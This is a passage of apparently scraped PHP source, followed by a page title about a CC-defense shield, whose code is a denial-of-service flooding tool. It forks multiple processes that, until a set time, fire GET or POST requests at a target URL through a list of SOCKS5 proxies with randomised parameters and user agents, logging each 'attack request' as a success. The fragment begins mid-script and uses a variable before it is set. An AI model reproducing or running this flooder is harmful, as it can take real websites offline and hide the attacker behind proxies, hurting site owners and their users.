[request data]\n”; echo “Power by Kagurazaka Shira\n”; exit; } if (!file_exists(“$argv[2]”)) { exit(“Invalid input file!\n”); } $method = strtolower($argv[4]); if ($method != ‘get’ && $method != ‘post’) { exit(“Invalid input method!\n”); } $data = $argv[6] ?? ”; //请求参数 if ($method == ‘get’ && !empty($data)) { $url = strpos($url, ‘?’) ? ($url . ‘&’ . $data) : ($url . ‘?’ . $data); } $url = $argv[1]; //url $array = file($argv[2], FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); //列表 $childcount = $argv[3]; //线程数 $array = array_unique($array); $part = array(); $part = partition($array, $childcount); //列表分割 $end_time = time() + intval($argv[5]); for ($i = 0; $i < $childcount; $i++) { $pid = pcntl_fork(); if ($pid == -1) { echo “Forking failed on loop $i\n”; exit; } else if ($pid) { continue; } else { while ($end_time > time()) { foreach ($part[$i] as $ip) { $rand_num = mt_rand(); $rand_str = md5($rand_num); $url = str_replace([‘{:rand_num}’, ‘{:rand_str}’], [$rand_num, $rand_str], $url); // var_dump($url); $curl = curl_init(); curl_setopt_array($curl, array( CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_ENCODING => “”, CURLOPT_PROXYTYPE => CURLPROXY_SOCKS5, CURLOPT_PROXY => $ip, CURLOPT_MAXREDIRS => 10, CURLOPT_TIMEOUT => 30, CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1, // CURLOPT_CUSTOMREQUEST => “GET”, CURLOPT_HTTPHEADER => array( “accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8”, // “accept-encoding: deflate, br”, “accept-language: zh-TW,zh-HK;q=0.9,zh-CN;q=0.8,zh;q=0.7,ja-JP;q=0.6,ja;q=0.5,en-US;q=0.4,en-HK;q=0.3,en;q=0.2,ru;q=0.1,fa;q=0.1”, “cache-control: no-cache”, “dnt: 1”, “pragma: no-cache”, “upgrade-insecure-requests: 1”, “user-agent: ” . $ua[array_rand($ua)], ), )); if ($method == ‘post’ && !empty($data)) { $data = str_replace([‘{:rand_num}’, ‘{:rand_str}’], [$rand_num, $rand_str], $data); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $data); } $response = curl_exec($curl); if (empty($response)) { // echo “proxy {$ip} down.\n”; continue; } else { echo “attack request use {$ip} success\n”; } } } exit; } } for ($j = 0; $j < $childcount; $j++) { $pid = pcntl_wait($status); } 复制代码
wabua.cn cc.php,5秒盾防CC(PHP通用代码)
最新推荐文章于 2023-03-13 13:52:41 发布